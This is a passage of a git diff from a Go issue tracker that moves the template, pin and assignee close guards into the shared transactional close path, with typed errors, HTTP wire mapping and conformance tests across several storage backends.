is the off-role half of the +// guards: Store.CloseIssue must close what the raw close closes on dolt, +// embedded and proxied, where issueops.CloseIssueInTx runs neither the guards +// nor close policy. A pin of either spelling, another actor's claim and an open +// child each refuse the Lifecycle close above; the raw close sends force, so a +// molecule auto-close of such a root still lands over http. The template is the +// one refusal left, because read-only has no bypass on the wire. +func TestServedRawCloseKeepsParityWithTheOtherBackends(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hrc") + + const ( + flagPinned = "hrc-flag-pinned" + statusPinned = "hrc-status-pinned" + held = "hrc-held" + parent = "hrc-parent" + child = "hrc-child" + template = "hrc-template" + ) + for _, issue := range []*types.Issue{ + {ID: flagPinned, Status: types.StatusOpen, Pinned: true}, + {ID: statusPinned, Status: types.StatusPinned}, + {ID: held, Status: types.StatusInProgress, Assignee: "holder"}, + {ID: parent, Status: types.StatusOpen}, + {ID: child, Status: types.StatusOpen}, + {ID: template, Status: types.StatusOpen, IsTemplate: true}, + } { + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if err := env.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + if err := env.addDependency(ctx, &types.Dependency{IssueID: child, DependsOnID: parent, Type: types.DepParentChild}, "seed"); err != nil { + t.Fatalf("seed %s as a child of %s: %v", child, parent, err) + } + + assertStatus := func(id string, want types.Status) { + t.Helper() + got, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if got.Status != want { + t.Errorf("%s has status %q after the raw close, want %q", id, got.Status, want) + } + } + + for _, id := range []string{flagPinned, statusPinned, held, parent} { + if err := env.subject.CloseIssue(ctx, id, "all steps complete", "closer", ""); err != nil { + t.Fatalf("raw close of %s over http: %v, want it to land as the raw close does on every other backend", id, err) + } + assertStatus(id, types.StatusClosed) + } + + err := env.subject.CloseIssue(ctx, template, "all steps complete", "closer", "") + if !errors.As(err, new(*issueops.TemplateReadOnlyError)) { + t.Fatalf("raw close of template %s over http: err = %v, want *TemplateReadOnlyError", template, err) + } + assertStatus(template, types.StatusOpen) +} + func TestServedLifecycleReopenLeavesNonDoneStatusesUnchanged(t *testing.T) { conformance.RunLifecycleReopenLeavesNonDoneStatusesUnchanged(t, t.Context(), newServedCloseReopenFixture(t, "hlrn")) } diff --git a/internal/httpclient/wire/client.go b/internal/httpclient/wire/client.go index 2c6fd6263..76955f51f 100644 --- a/internal/httpclient/wire/client.go +++ b/internal/httpclient/wire/client.go @@ -208,6 +208,10 @@ type Request struct { IssueID string DependsOnID string + // Actor is the acting identity the body carries, for a refusal whose typed + // error names it — the close's not_assignee — when the wire does not + // repeat what the request already said. + Actor string } // Do issues r and decodes a 2xx body into out, which may be nil for a response @@ -292,7 +296,7 @@ func (c *Client) Do(ctx context.Context, r Request, out any) error { } func (c *Client) target(r Request) target { - return target{op: r.Op, serverURL: c.base.Redacted(), issueID: r.IssueID, dependsOnID: r.DependsOnID, expectID: c.expectID} + return target{op: r.Op, serverURL: c.base.Redacted(), issueID: r.IssueID, dependsOnID: r.DependsOnID, actor: r.Actor, expectID: c.expectID} } // credentialSourceReporter is the optional half of a CredentialProvider: a diff --git a/internal/httpclient/wire/problem.go b/internal/httpclient/wire/problem.go index a02dc3d34..106cfea73 100644 --- a/internal/httpclient/wire/problem.go +++ b/internal/httpclient/wire/problem.go @@ -346,6 +346,9 @@ type target struct { serverURL string issueID string dependsOnID string + // actor is the request's acting identity (Request.Actor), which the + // not_assignee refusal names and the wire does not repeat. + actor string // expectID is the workspace's own pinned project id (Client.expectID), which // the wire never carries — it is a client-side fact. A project_mismatch // refusal names the server's own id in server_project_id; pairing it with this @@ -638,12 +641,20 @@ var codeSentinel = map[string]func(*ProblemError, target) error{ // sentinel callers already switch on locally.] "notes_overwrite_refused": func(*ProblemError, target) error { return issueops.ErrNotesOverwrite }, - // The template guard, rebuilt whole so a caller reads the same typed error - // — and the same message — the embedded store returns. The row comes from - // the request or, on a batch, from `item_issue_id`. + // The close guards (the first, template read-only, is every update's guard + // too), rebuilt whole so a caller reads the same typed error — and the same + // message — the embedded store returns. The row comes from the request or, + // on a batch, from `item_issue_id`; the holder from `assignee`; the closing + // actor from the request, which the wire does not repeat. "template_read_only": func(e *ProblemError, t target) error { return &issueops.TemplateReadOnlyError{IssueID: refusedIssueID(e, t)} }, + "issue_pinned": func(e *ProblemError, t target) error { + return &issueops.PinnedError{IssueID: refusedIssueID(e, t)} + }, + "not_assignee": func(e *ProblemError, t target) error { + return &issueops.CloseNotAssigneeError{IssueID: refusedIssueID(e, t), Assignee: deref(e.Assignee), Actor: t.actor} + }, // The same rule again: `issue_id` present means the edge named the issue's // own ancestor or descendant, absent means a plain scheduling cycle. The diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index c9557f1b1..c367198b1 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -160,7 +160,7 @@ func (c *Client) CloseIssue(ctx context.Context, id string, body apigen.CloseIss return nil, err } var out apigen.CloseIssueResponse - r := Request{Op: OpCloseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + r := Request{Op: OpCloseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id, Actor: body.Actor} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err } @@ -539,7 +539,7 @@ func (c *Client) ApplyBatch(ctx context.Context, body ApplyBatchRequest) (*apige } var out apigen.ApplyBatchResponse - r := Request{Op: OpApplyBatch, Method: http.MethodPost, Path: PathIssuesBatchApply, Body: body} + r := Request{Op: OpApplyBatch, Method: http.MethodPost, Path: PathIssuesBatchApply, Body: body, Actor: body.Actor} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err } diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 480150703..8ead3a15b 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -265,6 +265,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/batch_closer_contract_test.go b/internal/storage/dolt/batch_closer_contract_test.go index 82337b90c..360ef1347 100644 --- a/internal/storage/dolt/batch_closer_contract_test.go +++ b/internal/storage/dolt/batch_closer_contract_test.go @@ -131,6 +131,12 @@ func TestBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, ctx, fixture) } +func TestBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + fixture, ctx, cleanup := newDoltBatchCloserFixture(t, "bcguard") + defer cleanup() + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, ctx, fixture) +} + func newDoltBatchCloserFixture(t *testing.T, prefix string) (conformance.BatchCloserFixture, context.Context, func()) { t.Helper() store, storeCleanup := setupTestStore(t) diff --git a/internal/storage/dolt/issues.go b/internal/storage/dolt/issues.go index 3efcde47c..b6a8362b6 100644 --- a/internal/storage/dolt/issues.go +++ b/internal/storage/dolt/issues.go @@ -606,8 +606,10 @@ func (s *DoltStore) closeIssue(ctx context.Context, id string, reason string, ac // when it has a live direct blocker unless opts.Force is set, and — when // opts.ExpectedVersion is non-nil — with storage.ErrVersionMismatch when the // row's current RowVersion no longer matches (an orthogonal CAS that Force does -// not bypass). Both checks and the close share one transaction, so they are -// atomic (no TOCTOU). Mirrors CloseIssue's Dolt-specific concerns (wisp routing, +// not bypass). The close guards (template, pin, assignee; see +// issueops.CloseIssueCheckedInTx) refuse first, the template whatever Force +// says. Every check and the close share one transaction, so they are atomic +// (no TOCTOU). Mirrors CloseIssue's Dolt-specific concerns (wisp routing, // DOLT_ADD/COMMIT). func (s *DoltStore) CloseIssueChecked(ctx context.Context, id string, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { var result storage.CloseIssueResult diff --git a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go index 5fab44fa9..236909c36 100644 --- a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go @@ -80,6 +80,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newDoltLifecycleCloseReopenFixture(t *testing.T, prefix string) (conformance.LifecycleCloseReopenFixture, context.Context, func()) { diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 4a1282e25..8c78e1ff5 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -223,9 +223,11 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates // Close-policy parity with issueops.updateIssueInTx: a status that crosses // into the done category is a close by another name and answers to close - // policy. A refusal returns before any write and aborts the caller's unit of - // work. The wrap keeps the sentinels matchable, so a caller distinguishes - // these refusals here exactly as it does on the close path. + // policy, and, as there, to close policy only: the pin and assignee close + // guards stay on the close verbs (see updateIssueInTx for why). A refusal + // returns before any write and aborts the caller's unit of work. The wrap + // keeps the sentinels matchable, so a caller distinguishes these refusals + // here exactly as it does on the close path. if statusChanging { crossing, err := issueops.CrossesIntoDoneCategoryInTx(ctx, r.runner, oldIssue.Status, updates) if err != nil { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 5bf1afbaa..9280f9acb 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -193,6 +193,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/batch_closer_contract_test.go b/internal/storage/embeddeddolt/batch_closer_contract_test.go index bb18d6b1d..8131d5fc8 100644 --- a/internal/storage/embeddeddolt/batch_closer_contract_test.go +++ b/internal/storage/embeddeddolt/batch_closer_contract_test.go @@ -133,6 +133,12 @@ func TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, ctx, newEmbeddedBatchCloserFixture(t, "bcblocked")) } +func TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, ctx, newEmbeddedBatchCloserFixture(t, "bcguard")) +} + func newEmbeddedBatchCloserFixture(t *testing.T, prefix string) conformance.BatchCloserFixture { t.Helper() te := newTestEnv(t, prefix) diff --git a/internal/storage/embeddeddolt/issues.go b/internal/storage/embeddeddolt/issues.go index 7e1140204..bd67df66c 100644 --- a/internal/storage/embeddeddolt/issues.go +++ b/internal/storage/embeddeddolt/issues.go @@ -165,8 +165,10 @@ func (s *EmbeddedDoltStore) CloseIssue(ctx context.Context, id string, reason st // when it has a live direct blocker unless opts.Force is set, and — when // opts.ExpectedVersion is non-nil — with storage.ErrVersionMismatch when the // row's current RowVersion no longer matches (an orthogonal CAS that Force does -// not bypass). Both checks and the close share one transaction, so they are -// atomic (no TOCTOU). Delegates SQL work to issueops; EmbeddedDolt auto-commits +// not bypass). The close guards (template, pin, assignee; see +// issueops.CloseIssueCheckedInTx) refuse first, the template whatever Force +// says. Every check and the close share one transaction, so they are atomic +// (no TOCTOU). Delegates SQL work to issueops; EmbeddedDolt auto-commits // the transaction. func (s *EmbeddedDoltStore) CloseIssueChecked(ctx context.Context, id string, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { var result storage.CloseIssueResult diff --git a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go index 153b33232..c8fef9004 100644 --- a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go @@ -83,6 +83,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newEmbeddedLifecycleCloseReopenFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleCloseReopenFixture { diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index be4703360..3d7ab0898 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -22,6 +22,7 @@ go_library( "claim_next.go", "close.go", "close_batch.go", + "close_guard.go", "commenter.go", "comments.go", "commit_pending.go", @@ -136,6 +137,7 @@ go_test( "blocked_recheck_test.go", "blocked_state_result_test.go", "blocked_state_template_test.go", + "close_guard_test.go", "close_test.go", "config_helpers_test.go", "config_prefix_test.go", diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 188c704c1..03f9fbb94 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -54,6 +54,12 @@ func CloseIssueWithoutEventInTx(ctx context.Context, tx DBTX, id string, reason, // is_blocked column whose direct blockers have since closed. Reading the live // blocker list self-heals against a stale column instead of acting on it. // +// Before close policy it applies the close guards (enforceCloseGuardsInTx) to a +// target that is not already closed: a template refuses with +// *TemplateReadOnlyError whatever force says, and unless force is set a pinned +// issue refuses with *PinnedError and one assigned to someone other than actor +// with *CloseNotAssigneeError. +// // When expectedVersion is non-nil it adds an ORTHOGONAL optimistic-concurrency // precondition: the row's current RowVersion (row_lock) must still equal // *expectedVersion or the close refuses with storage.ErrVersionMismatch. This @@ -80,6 +86,14 @@ func CloseIssueCheckedInTx(ctx context.Context, tx DBTX, id, reason, actor, sess if !found { return nil, fmt.Errorf("%w: issue %s", storage.ErrNotFound, id) } + // The close guards run before close policy, so a target that trips both + // reads the guard's refusal, as `bd close` always printed it. They only + // read, so they need no savepoint. + if !closed { + if err := enforceCloseGuardsInTx(ctx, tx, id, targetColumn, actor, force); err != nil { + return nil, err + } + } // domain/db also supplies a *sql.DB Runner, whose independently pooled // statements cannot retain a savepoint. The shared UOW uses a pinned // *sql.Conn after START TRANSACTION, while embedded callers use *sql.Tx. diff --git a/internal/storage/issueops/close_guard.go b/internal/storage/issueops/close_guard.go new file mode 100644 index 000000000..9c715d89f --- /dev/null +++ b/internal/storage/issueops/close_guard.go @@ -0,0 +1,112 @@ +package issueops + +import ( + "context" + "database/sql" + "fmt" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// closeGuardRow is the slice of the close target the close guards read. +type closeGuardRow struct { + isTemplate bool + pinned bool + status types.Status + assignee string +} + +// enforceCloseGuardsInTx applies the close guards — template read-only, the +// pin, and the assignee authority fence (be-035) — to an open target whose +// dependency routing the caller already read from this transaction. +// +// They are the guards `bd close` used to run as a pre-read in cmd/bd, which +// left every other caller of the role (bd serve, BatchCloser, BatchApplier +// close items, a library embedder) closing what bd refused. Living here, they +// read the row the close is about to write, inside the same transaction, so +// there is no read-then-write window either. +// +// Order is the historical one: template first (no bypass), then the pin, then +// the assignee — so a request that trips more than one reads the refusal bd +// always printed for it. force bypasses the pin and the assignee and nothing +// else. +// +// The caller runs this only for a target that is not already literally closed: +// a re-close has no state change to guard, and it stays the idempotent no-op it +// has always been (ga-ktn9pe.4.8) — a forced close of a pinned bead leaves the +// pin set, and the plain retry must not then refuse. +func enforceCloseGuardsInTx(ctx context.Context, tx DBTX, id, targetColumn, actor string, force bool) error { + row, err := readCloseGuardRowInTx(ctx, tx, id, targetColumn) + if err != nil { + return err + } + return CheckClosable(id, &types.Issue{ + IsTemplate: row.isTemplate, + Pinned: row.pinned, + Status: row.status, + Assignee: row.assignee, + }, actor, force) +} + +// CheckClosable is the close guards' one decision over an issue's pre-image: +// template read-only (*TemplateReadOnlyError, no bypass), then — unless force — +// the pin (*PinnedError, either spelling) and the assignee authority fence +// (*CloseNotAssigneeError; an unassigned issue is closable by anyone). A nil +// issue passes. It is pure: enforceCloseGuardsInTx applies it to the row the +// close is about to write, inside the close transaction, which is the +// authority; `bd close` also applies it to its resolved pre-image ahead of its +// own gate-satisfaction check, so a refusal that trips both reads the guard's +// sentence, as it always has. +// +// The caller decides whether to guard at all: an already-closed target is an +// idempotent re-close with no state change to guard (ga-ktn9pe.4.8). +func CheckClosable(id string, issue *types.Issue, actor string, force bool) error { + if issue == nil { + return nil + } + if issue.IsTemplate { + return &publicops.TemplateReadOnlyError{IssueID: id} + } + if force { + return nil + } + // Both pin spellings are load-bearing (ga-z3vht): Gas Town pins by + // status, Gas City by the column. See validation.NotPinned. + if issue.Pinned || issue.Status == types.StatusPinned { + return &publicops.PinnedError{IssueID: id} + } + if issue.Assignee != "" && !actorMatches(issue.Assignee, actor) { + return &publicops.CloseNotAssigneeError{IssueID: id, Assignee: issue.Assignee, Actor: actor} + } + return nil +} + +//nolint:gosec // G201: table is one of two hardcoded identifiers chosen from targetColumn. +func readCloseGuardRowInTx(ctx context.Context, tx DBTX, id, targetColumn string) (closeGuardRow, error) { + table := "issues" + switch targetColumn { + case "depends_on_issue_id": + case "depends_on_wisp_id": + table = "wisps" + default: + return closeGuardRow{}, fmt.Errorf("close guard: unsupported target column %q", targetColumn) + } + var ( + row closeGuardRow + template sql.NullBool + pinned sql.NullBool + status string + assignee sql.NullString + ) + if err := tx.QueryRowContext(ctx, + "SELECT is_template, pinned, status, assignee FROM "+table+" WHERE id = ?", id, + ).Scan(&template, &pinned, &status, &assignee); err != nil { + return closeGuardRow{}, fmt.Errorf("read close guard state for %s from %s: %w", id, table, err) + } + row.isTemplate = template.Valid && template.Bool + row.pinned = pinned.Valid && pinned.Bool + row.status = types.Status(status) + row.assignee = assignee.String + return row, nil +} diff --git a/internal/storage/issueops/close_guard_test.go b/internal/storage/issueops/close_guard_test.go new file mode 100644 index 000000000..9fa419d5b --- /dev/null +++ b/internal/storage/issueops/close_guard_test.go @@ -0,0 +1,55 @@ +package issueops + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestCheckClosable pins the close guards' one decision: template first (no +// bypass), then — unless force — the pin (both spellings) and the assignee +// fence (separator-insensitive; unassigned is anyone's). +func TestCheckClosable(t *testing.T) { + cases := []struct { + name string + issue *types.Issue + actor string + force bool + want error + }{ + {"nil", nil, "alice", false, nil}, + {"plain", &types.Issue{Status: types.StatusOpen}, "alice", false, nil}, + {"template", &types.Issue{IsTemplate: true}, "alice", false, publicops.ErrTemplateReadOnly}, + {"forced template", &types.Issue{IsTemplate: true}, "alice", true, publicops.ErrTemplateReadOnly}, + {"template outranks pin", &types.Issue{IsTemplate: true, Pinned: true}, "alice", false, publicops.ErrTemplateReadOnly}, + {"pinned column", &types.Issue{Pinned: true}, "alice", false, publicops.ErrPinned}, + {"pinned status", &types.Issue{Status: types.StatusPinned}, "alice", false, publicops.ErrPinned}, + {"forced pin", &types.Issue{Pinned: true}, "alice", true, nil}, + {"pin outranks holder", &types.Issue{Pinned: true, Assignee: "bob"}, "alice", false, publicops.ErrPinned}, + {"held", &types.Issue{Assignee: "bob"}, "alice", false, publicops.ErrNotOwner}, + {"forced held", &types.Issue{Assignee: "bob"}, "alice", true, nil}, + {"own", &types.Issue{Assignee: "alice"}, "alice", false, nil}, + {"unassigned", &types.Issue{}, "alice", false, nil}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := CheckClosable("bd-1", tc.issue, tc.actor, tc.force) + if tc.want == nil { + if err != nil { + t.Fatalf("CheckClosable = %v, want nil", err) + } + return + } + if !errors.Is(err, tc.want) { + t.Fatalf("CheckClosable = %v, want %v", err, tc.want) + } + }) + } + var held *publicops.CloseNotAssigneeError + if err := CheckClosable("bd-1", &types.Issue{Assignee: "bob"}, "alice", false); !errors.As(err, &held) || + held.IssueID != "bd-1" || held.Assignee != "bob" || held.Actor != "alice" { + t.Fatalf("held refusal = %#v", err) + } +} diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 44add0cea..ee77833ba 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -406,10 +406,17 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string // A status update that crosses into the done category is a close by another // name, so it answers to close policy. Running after the no-op filter keeps // a done-to-done restatement policy-free, and running after the callers' - // version and assignee preconditions keeps force away from those: it - // bypasses the two close refusals and nothing else, exactly as it does for - // `bd close`. A refusal returns here, before any write, and aborts the - // caller's transaction. + // version and assignee preconditions keeps force away from those: here it + // bypasses the two close-policy refusals and nothing else. A refusal + // returns here, before any write, and aborts the caller's transaction. + // + // Close policy is ALL it answers to. The pin guard and the assignee + // authority fence, which CloseIssueCheckedInTx applies to the close verbs, + // are deliberately not run here: a crossing still closes a pinned issue or + // a bead another actor holds on every update leg (`bd update -s closed`, + // PATCH, batchApply), as it always has. Refusing those would change what + // the update legs admit, which is its own decision and not part of putting + // the close verbs' guards in the role. crossing, err := CrossesIntoDoneCategoryInTx(ctx, tx, oldIssue.Status, updates) if err != nil { return nil, err diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 66553307f..61f80cde0 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -407,6 +407,9 @@ type Storage interface { // when the current assignee differs. UnclaimIssueIfAssignee(ctx context.Context, id string, actor string, expectedAssignee string) error UpdateIssueType(ctx context.Context, id string, issueType string, actor string) error + // CloseIssue is the raw close: it applies neither the close guards nor + // close policy, except over HTTP, where it closes with force and a template + // — the one guard force never bypasses — still refuses. CloseIssue(ctx context.Context, id string, reason string, actor string, session string) error // CloseIssueChecked closes an issue, but refuses with ErrCloseOpenChildren // when it has open parent-child dependents, or ErrCloseBlocked when it has a @@ -418,9 +421,16 @@ type Storage interface { // (no TOCTOU). When opts.ExpectedVersion is non-nil it adds an orthogonal // optimistic-concurrency precondition: the close proceeds only if the issue's // current RowVersion still equals *opts.ExpectedVersion, else it refuses with - // ErrVersionMismatch atomically (Force does NOT bypass this check). Already- - // closed is an idempotent success with Unchanged=true; a missing issue returns - // ErrNotFound. + // ErrVersionMismatch atomically (Force does NOT bypass this check). After + // the version check and before the child and blocker policy it applies the + // close guards in the same transaction: a template refuses with + // *issueops.TemplateReadOnlyError whatever Force says, and unless Force is + // set a pinned issue refuses with *issueops.PinnedError and one assigned to + // someone other than actor with *issueops.CloseNotAssigneeError. Already- + // closed is an idempotent success with Unchanged=true and skips the guards; + // a missing issue returns ErrNotFound. CloseIssue above is the raw close and + // applies neither the guards nor the policy, except that over HTTP, where + // the template guard has no bypass on the wire, a template still refuses. CloseIssueChecked(ctx context.Context, id string, actor string, opts CloseIssueOptions) (CloseIssueResult, error) DeleteIssue(ctx context.Context, id string) error SearchIssues(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) @@ -647,7 +657,7 @@ type Storage interface { type CloseIssueOptions struct { Reason string Session string - Force bool // bypass the is_blocked guard (mirrors `bd close --force`) + Force bool // bypass close policy and the pin and assignee guards, never the template (mirrors `bd close --force`) // ExpectedVersion, when non-nil, gates the close on an optimistic-concurrency // check: the close proceeds only if the issue's current RowVersion (the // row_lock token) equals *ExpectedVersion, otherwise it refuses with diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 9bb82d3e9..2d8b4673d 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -163,6 +163,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/batch_closer_contract_test.go b/internal/storage/uow/batch_closer_contract_test.go index 43640e738..4ca8d2b4e 100644 --- a/internal/storage/uow/batch_closer_contract_test.go +++ b/internal/storage/uow/batch_closer_contract_test.go @@ -47,6 +47,7 @@ func TestBatchCloserContract(t *testing.T) { {name: "AllRefusedBatchRecordsNoHistory", prefix: "bc-nohistory", run: conformance.RunBatchCloserAllRefusedBatchRecordsNoHistory}, {name: "DoesNotMutateTheCallerRequest", prefix: "bc-snapshot", run: conformance.RunBatchCloserDoesNotMutateTheCallerRequest}, {name: "SettlesTheDependersOfWhatItClosed", prefix: "bc-blocked", run: conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed}, + {name: "ItemsAnswerToTheCloseGuards", prefix: "bc-guard", run: conformance.RunBatchCloserItemsAnswerToTheCloseGuards}, } { t.Run(test.name, func(t *testing.T) { test.run(t, ctx, newUOWBatchCloserFixture(t, provider, test.prefix)) diff --git a/internal/storage/uow/lifecycle_close_reopen_contract_test.go b/internal/storage/uow/lifecycle_close_reopen_contract_test.go index c495de06a..9a77a7f95 100644 --- a/internal/storage/uow/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/uow/lifecycle_close_reopen_contract_test.go @@ -81,6 +81,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newUOWLifecycleCloseReopenFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleCloseReopenFixture { diff --git a/internal/validation/issue.go b/internal/validation/issue.go index bde847ec3..bad1fc61a 100644 --- a/internal/validation/issue.go +++ b/internal/validation/issue.go @@ -66,7 +66,7 @@ func NotPinned(force bool) IssueValidator { return nil // Let Exists() handle nil check if needed } if !force && (issue.Pinned || issue.Status == types.StatusPinned) { - return fmt.Errorf("cannot modify pinned issue %s (use --force to override)", id) + return &issueops.PinnedError{IssueID: id} } return nil } @@ -171,7 +171,7 @@ func AssigneeMatches(actor string, force bool) IssueValidator { if issue.Assignee == "" || ActorMatches(issue.Assignee, actor) { return nil } - return fmt.Errorf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override", id, issue.Assignee, actor) + return &issueops.CloseNotAssigneeError{IssueID: id, Assignee: issue.Assignee, Actor: actor} } } diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 76d301234..7b3634a08 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -167,7 +167,8 @@ type CloseItem struct { // Reason and Session are CloseRequest's, under its first-close-wins rule. Reason string Session string - // Force bypasses blocker and open-child close policy, and nothing else. + // Force is CloseRequest.Force: it bypasses blocker and open-child close + // policy, the pin and the assignee fence, and never the template guard. // // CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request has // already changed it — the same as-modified rule the update guards take. A diff --git a/issueops/batchcloser.go b/issueops/batchcloser.go index f557a791b..bd2861bb1 100644 --- a/issueops/batchcloser.go +++ b/issueops/batchcloser.go @@ -40,10 +40,11 @@ type CloseBatchRequest struct { Items []BatchCloseItem // Session records the closing session against every item. Session string - // Force bypasses only blocker and open-child close policy, for every item. - // It never bypasses validation, and it never bypasses existence: an id that - // names nothing refuses whether or not force is set. It is request-wide - // because the flag that spells it is. + // Force bypasses blocker and open-child close policy, the pin and the + // assignee fence, for every item — exactly CloseRequest.Force. It never + // bypasses the template guard or validation, and it never bypasses + // existence: an id that names nothing refuses whether or not force is set. + // It is request-wide because the flag that spells it is. // // It would not bypass a per-item LIFECYCLE PRECONDITION either, but no // batch item carries one: there is no counterpart here to the @@ -86,7 +87,8 @@ type CloseOutcome struct { OpenChildren int // Err is this item's refusal, and NEVER aborts the rest of the batch. It // carries the same typed close vocabulary Lifecycle.Close returns — - // ErrNotFound, ErrCloseBlocked, *CloseOpenChildrenError — so a caller + // ErrNotFound, ErrCloseBlocked, *CloseOpenChildrenError, + // *TemplateReadOnlyError, *PinnedError, *CloseNotAssigneeError — so a caller // classifies it with errors.Is and errors.As rather than by reading prose. Err error } diff --git a/issueops/errors.go b/issueops/errors.go index 7db6159ed..6a1dfe921 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -242,6 +242,51 @@ func (e *CloseOpenChildrenError) Unwrap() error { return ErrCloseOpenChildren } +// ErrPinned is returned when an unforced close names a pinned issue — pinned by +// either of the two spellings bd uses, the Pinned column or the pinned status. +// Force (CloseRequest.Force, 